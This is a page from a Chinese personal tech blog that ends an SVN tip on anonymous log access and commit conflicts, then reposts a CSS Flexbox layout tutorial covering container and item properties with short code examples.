在项目的conf/svnserve.conf 中, 设置 anon-access = none 即可. 然后重启Subversion 服务.

如果本地SVN客户端查看过日志会有缓存, 需要在 设置->日志缓存->缓存的版本库 中删除有问题的版本缓存 再重新查看日志就好了.

Conflict not set

  • 对于纯文本文件因版本过时提交失败的情况,我们可以选择更新一下,然后打开”自己的修改和服务器最新版合并“后的文件(如发生冲突时的A文件),进行手动合并,处理好后选择 resolve然后提交。

  • 对于非纯文本文件因版本过时提交失败时,我们只能牺牲一下自己,选择revert,然后更新到服务器最新版本,再修改提交

Flex 布局 转

发表于 2020-03-25 分类于 前端开发

布局的传统解决方案: 基于盒状模型,依赖 display 属性 + position 属性 + float 属性。它对于那些特殊布局非常不方便,比如,垂直居中就不容易实现。

2009年,W3C 提出了一种新的方案—-Flex 布局,可以简便、完整、响应式地实现各种页面布局。目前,它已经得到了所有浏览器的支持,这意味着,现在就能很安全地使用这项功能。

Flex 布局将成为未来布局的首选方案。 JailBreak 为本文的所有示例制作了 Demo,也可以参考。

以下内容主要参考了下面两篇文章:A Complete Guide to Flexbox 和 A Visual Guide to CSS3 Flexbox Properties。

一、Flex 布局是什么?

Flex 是 Flexible Box 的缩写,意为”弹性布局”,用来为盒状模型提供最大的灵活性。

任何一个容器都可以指定为 Flex 布局。

1
2
3
.box{
display: flex;
}

行内元素也可以使用 Flex 布局。

1
2
3
.box{
display: inline-flex;
}

Webkit 内核的浏览器,必须加上-webkit前缀。

1
2
3
4
.box{
display: -webkit-flex; /* Safari */
display: flex;
}

注意: 设为 Flex 布局以后,子元素的float、clear和vertical-align属性将失效。

二、基本概念

采用 Flex 布局的元素,称为 Flex 容器(flex container),简称”容器”。它的所有子元素自动成为容器成员,称为 Flex 项目(flex item),简称”项目”。

容器默认存在两根轴:水平的主轴(main axis)和垂直的交叉轴(cross axis)。 主轴的开始位置(与边框的交叉点)叫做main start,结束位置叫做main end;交叉轴的开始位置叫做cross start,结束位置叫做cross end。

项目默认沿主轴排列。单个项目占据的主轴空间叫做main size,占据的交叉轴空间叫做cross size。

三、容器的属性

以下6个属性设置在容器上:

  • flex-direction

  • flex-wrap

  • flex-flow

  • justify-content

  • align-items

  • align-content

3.1 flex-direction 属性

flex-direction属性决定主轴的方向(即项目的排列方向)。

1
2
3
.box {
flex-direction: row | row-reverse | column | column-reverse;
}

它可能有4个值。

row(默认值):主轴为水平方向,起点在左端。

row-reverse:主轴为水平方向,起点在右端。

column:主轴为垂直方向,起点在上沿。

column-reverse:主轴为垂直方向,起点在下沿。

3.2 flex-wrap 属性

默认情况下,项目都排在一条线(又称”轴线”)上。flex-wrap属性定义,如果一条轴线排不下,如何换行。

1
2
3
.box{
flex-wrap: nowrap | wrap | wrap-reverse;
}

它可能取三个值。

nowrap(默认):不换行。

wrap:换行,第一行在上方。

wrap-reverse:换行,第一行在下方。

3.3 flex-flow 属性

flex-flow属性是flex-direction属性和flex-wrap属性的简写形式,默认值为row nowrap。

1
2
3
.box {
flex-flow: <flex-direction> || <flex-wrap>;
}

3.4 justify-content 属性

justify-content属性定义了项目在主轴上的对齐方式。

1
2
3
.box {
justify-content: flex-start | flex-end | center | space-between | space-around;
}

它可能取5个值,具体对齐方式与轴的方向有关。下面假设主轴为从左到右。

flex-start(默认值):左对齐

flex-end:右对齐

center: 居中

space-between:两端对齐,之间的间隔都相等。

space-around:两侧的间隔相等。之间的间隔比与边框的间隔大一倍。

3.5 align-items 属性

align-items属性定义项目在交叉轴上如何对齐。

1
2
3
.box {
align-items: flex-start | flex-end | center | baseline | stretch;
}

它可能取5个值。具体的对齐方式与交叉轴的方向有关,下面假设交叉轴从上到下。

flex-start:交叉轴的起点对齐。

flex-end:交叉轴的终点对齐。

center:交叉轴的中点对齐。

baseline: 项目的第一行文字的基线对齐。

stretch(默认值):如果项目未设置高度或设为auto,将占满整个容器的高度。

3.6 align-content 属性

align-content属性定义了多根轴线的对齐方式。只有一根轴线,该属性不起作用。

1
2
3
.box {
align-content: flex-start | flex-end | center | space-between | space-around | stretch;
}

该属性可能取6个值。

flex-start:与交叉轴的起点对齐。

flex-end:与交叉轴的终点对齐。

center:与交叉轴的中点对齐。

space-between:与交叉轴两端对齐,轴线之间的间隔平均分布。

space-around:每根轴线两侧的间隔都相等。所以,轴线之间的间隔比轴线与边框的间隔大一倍。

stretch(默认值):轴线占满整个交叉轴。

四、项目的属性

以下6个属性设置在容器上:

  • order

  • flex-grow

  • flex-shrink

  • flex-basis

  • flex

  • align-self

4.1 order属性

order 排列顺序。数值越小,排列越靠前,默认为0。

4.2 flex-grow属性

flex-grow 放大比例,默认为0,即如果存在剩余空间,也不放大。

1
2
3
.item {
flex-grow: <number>; /* default 0 */
}

如果所有项目的flex-grow属性都为1,则它们将等分剩余空间(如果有的话)。如果一个项目的flex-grow属性为2,其他项目都为1,则前者占据的剩余空间将比其他项多一倍。

4.3 flex-shrink属性

flex-shrink 缩小比例,默认为1,即如果空间不足,该项目将缩小。

1
2
3
.item {
flex-shrink: <number>; /* default 1 */
}

如果所有项目的flex-shrink属性都为1,当空间不足时,都将等比例缩小。如果一个项目的flex-shrink属性为0,其他项目都为1,则空间不足时,前者不缩小。

负值对该属性无效。

4.4 flex-basis属性

flex-basis 分配多余空间之前,占据的主轴空间。浏览器根据这个属性,计算主轴是否有多余空间。它的默认值为auto,即项目的本来大小。

1
2
3
.item {
flex-basis: <length> | auto; /* default auto */
}

它可以设为跟width或height属性一样的值(比如350px),则项目将占据固定空间。

4.5 flex属性

flex 是flex-grow, flex-shrink 和 flex-basis的简写,默认值为0 1 auto。后两个属性可选。

1
2
3
.item {
flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ]
}

该属性有两个快捷值:auto (1 1 auto) 和 none (0 0 auto)。

建议优先使用这个属性,而不是单独写三个分离的属性,因为浏览器会推算相关值。

4.6 align-self属性

align-self 允许单个项目有与其他项目不一样的对齐方式,可覆盖align-items属性。默认值为auto,表示继承父元素的align-items属性,如果没有父元素,则等同于stretch。

1
2
3
.item {
align-self: auto | flex-start | flex-end | center | baseline | stretch;
}

1234…16
Mr.Gou

Mr.Gou

155 日志
11 分类
38 标签
RSS
GitHub E-Mail Weibo
Links
  • 阮一峰的网络日志
  • 离别歌 - 代码审计漏洞挖掘pythonc++
  • 一只猿 - 前端攻城尸
  • 雨了个雨's blog
  • nMask's Blog - 风陵渡口
  • 区块链技术导航
© 2022 蜀ICP备2022014529号